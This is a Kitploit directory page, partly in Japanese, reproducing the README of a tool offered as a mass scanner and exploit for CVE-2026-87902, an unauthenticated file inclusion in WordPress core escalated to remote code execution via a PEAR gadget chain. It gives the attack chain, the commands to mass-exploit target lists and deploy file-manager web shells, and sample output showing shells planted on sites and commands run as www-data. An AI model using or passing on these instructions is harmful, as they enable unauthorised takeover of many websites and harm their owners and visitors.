Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-87902 — CVE-2026-87902 に対応する Python 製のマススキャナー兼エクスプロイト。WordPress コアの get_page_template() における未認証の LFI を、PEAR ガジェットチェーン経由で RCE に昇格させるものです。 | Kitploit
ツール/GitHubGitHub/mrdark-ops/cve-2026-87902
脆弱性スキャナーペイロード生成エクスプロイトウェブアプリケーション悪用ポストエクスプロイトウェブセキュリティペネトレーションテストリモートアクセスツール
GitHubmrdark-ops/cve-2026-87902

CVE-2026-87902

CVE-2026-87902 に対応する Python 製のマススキャナー兼エクスプロイト。WordPress コアの get_page_template() における未認証の LFI を、PEAR ガジェットチェーン経由で RCE に昇格させるものです。

リポジトリを見る
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
<div align="center">

# 🎯 CVE-2026-87902 — WordPress Core LFI → RCE

<img src="https://img.shields.io/badge/CVE-2026--87902-critical-red?style=for-the-badge&amp;logo=wordpress" />
<img src="https://img.shields.io/badge/CVSS-9.8-darkred?style=for-the-badge" />
<img src="https://img.shields.io/badge/GHSA-7hp8--65ch--5whp-orange?style=for-the-badge" />
<img src="https://img.shields.io/badge/CWE--22-Path_Traversal-blue?style=for-the-badge" />

<img src="https://img.shields.io/badge/Author-HackfutSecRoot-purple?style=for-the-badge&amp;logo=github" />
<img src="https://img.shields.io/badge/Python-3.8+-blue?style=for-the-badge&amp;logo=python" />
<img src="https://img.shields.io/badge/License-MIT-green?style=for-the-badge" />

<br>

<img src="https://readme-typing-svg.demolab.com?font=Fira+Code&amp;size=22&amp;duration=3000&amp;pause=1000&amp;color=F75C7E%C2%A2er=true&amp;vCenter=true&amp;width=700&amp;lines=WordPress+get_page_template()+Unauthenticated+LFI;PEAR+gadget+chain+%E2%86%92+RCE+%E2%86%92+File+Manager;Mass+scanner+with+multi-threading" />

<br>

**[🔍 Overview](#-overview) · [⚡ Quick Start](#-quick-start) · [🎯 Usage](#-usage) · [📊 Output](#-output) · [📞 Contact](#-contact)**

</div>

---

## 🔍 Overview

**CVE-2026-87902** is a critical **unauthenticated Local File Inclusion (LFI)** vulnerability in WordPress core that leads to **Remote Code Execution (RCE)** via the PEAR gadget chain.

The vulnerability resides in `wp-includes/template.php:get_page_template()`, which uses the public `pagename` query variable (read from `$_POST`) to construct a template name **without passing it through `validate_file()`**. Since `locate_template()` only performs `file_exists()`, a real `page-*` directory inside the active theme gives full path traversal.

### 🎯 Attack Chain

┌─────────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ 匿名 POST │───▶│ page-templates/│───▶│ PEAR ガジェット │ │ page_id + │ │ ../../../ │ │ config-create │ │ pagename │ │ 経由の LFI │ │ がシェルを書き込み│ └─────────────────┘ └──────────────────┘ └──────────────────┘ │ ▼ ┌──────────────────┐ │ 💀 RCE + │ │ ファイルマネージャー│ └──────────────────┘


### ⚠️ Affected Versions

| Product | Vulnerable | Patched |
|---------|-----------|---------|
| **WordPress Core** | `4.7.0` → `7.1.1` | `7.1.2+` |
| **Severity** | 🔴 **CRITICAL** | — |
| **CVSS 4.0** | **9.8** | — |
| **Authentication** | ❌ None required | — |

---

## ⚡ Quick Start

### 📦 Installation

```bash
# リポジトリをクローン
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# 依存関係をインストール(標準ライブラリのみ — pip は不要!)
python --version  # Python 3.8+ が必要

🚀 First Run

# 1. ターゲットファイルを作成する
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. 非破壊チェック (安全)
python main.py -l targets.txt --check --threads 20

# 3. 完全なエクスプロイト + ファイルマネージャー
python main.py -l targets.txt --rce --shell --threads 10

🎯 Usage

📋 Available Modes

Mode Command Description
🔍 Check python main.py -l targets.txt --check Non-destructive LFI detection
💥 LFI python main.py -l targets.txt Confirm LFI with OPML oracle
⚡ RCE python main.py -l targets.txt --rce --command "id" Execute commands via PEAR
📁 Shell python main.py -l targets.txt --rce --shell Deploy File Manager

🔧 Command Line Options

python main.py --help

  -u, --url URL          単一のターゲットURL
  -l, --list FILE        ターゲットを記載したファイル(1行に1つ)
  --check                非破壊チェックのみ実行
  --rce                  RCEエスカレーションを有効化
  --shell                File Managerシェルをデプロイ
  --command CMD          実行するコマンド(デフォルト: id)
  --page-id N            特定のページIDを強制指定
  --threads N            同時スレッド数(デフォルト: 20)
  --timeout S            リクエストごとのタイムアウト(デフォルト: 12)
  --proxy URL            HTTP(S)プロキシ
  --output FILE          完全なログ出力
  --output-vuln FILE     脆弱なターゲットのみ
  --output-rce FILE      RCEターゲットのみ
  --no-color             ANSIカラーを無効化

💡 Examples

# 単一ターゲットで RCE + ファイルマネージャー
python main.py -u https://target.com --rce --shell --command "whoami"

# プロキシ(Burp Suite)を使用した一括スキャン
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# 検出に失敗した場合のカスタムページ ID
python main.py -u https://target.com --page-id 2 --rce --shell

📊 Output

After a successful run, the following files are generated:

FileContents
📄 results.txtFull scan log
🎯 vulnerable.txtTargets with confirmed LFI
💀 rce.txtTargets with successful RCE
📁 shells.txtFile Manager URLs

🖥️ Sample Console Output

CVE-2026-87902 マススキャナー v3.0
  WordPress get_page_template() 未認証 LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  影響範囲: WordPress 4.7.0 - 7.1.1
  ペイロード: File Manager (自動デプロイ)
======================================================================
  モード     : EXPLOIT + FILE MANAGER
  ターゲット : 50
  スレッド   : 20
  タイムアウト : 12.0s
  開始時刻   : 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | VULNERABLE | LFI確認済み: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | RCE + File Managerを開始...
[14:32:18] [+]   ガジェット発見: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$]   File Managerデプロイ済み: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | 修正済み: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | 脆弱なバージョン (5.8.1) だがOPMLオラクルが発火せず
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)
ツールをダウンロード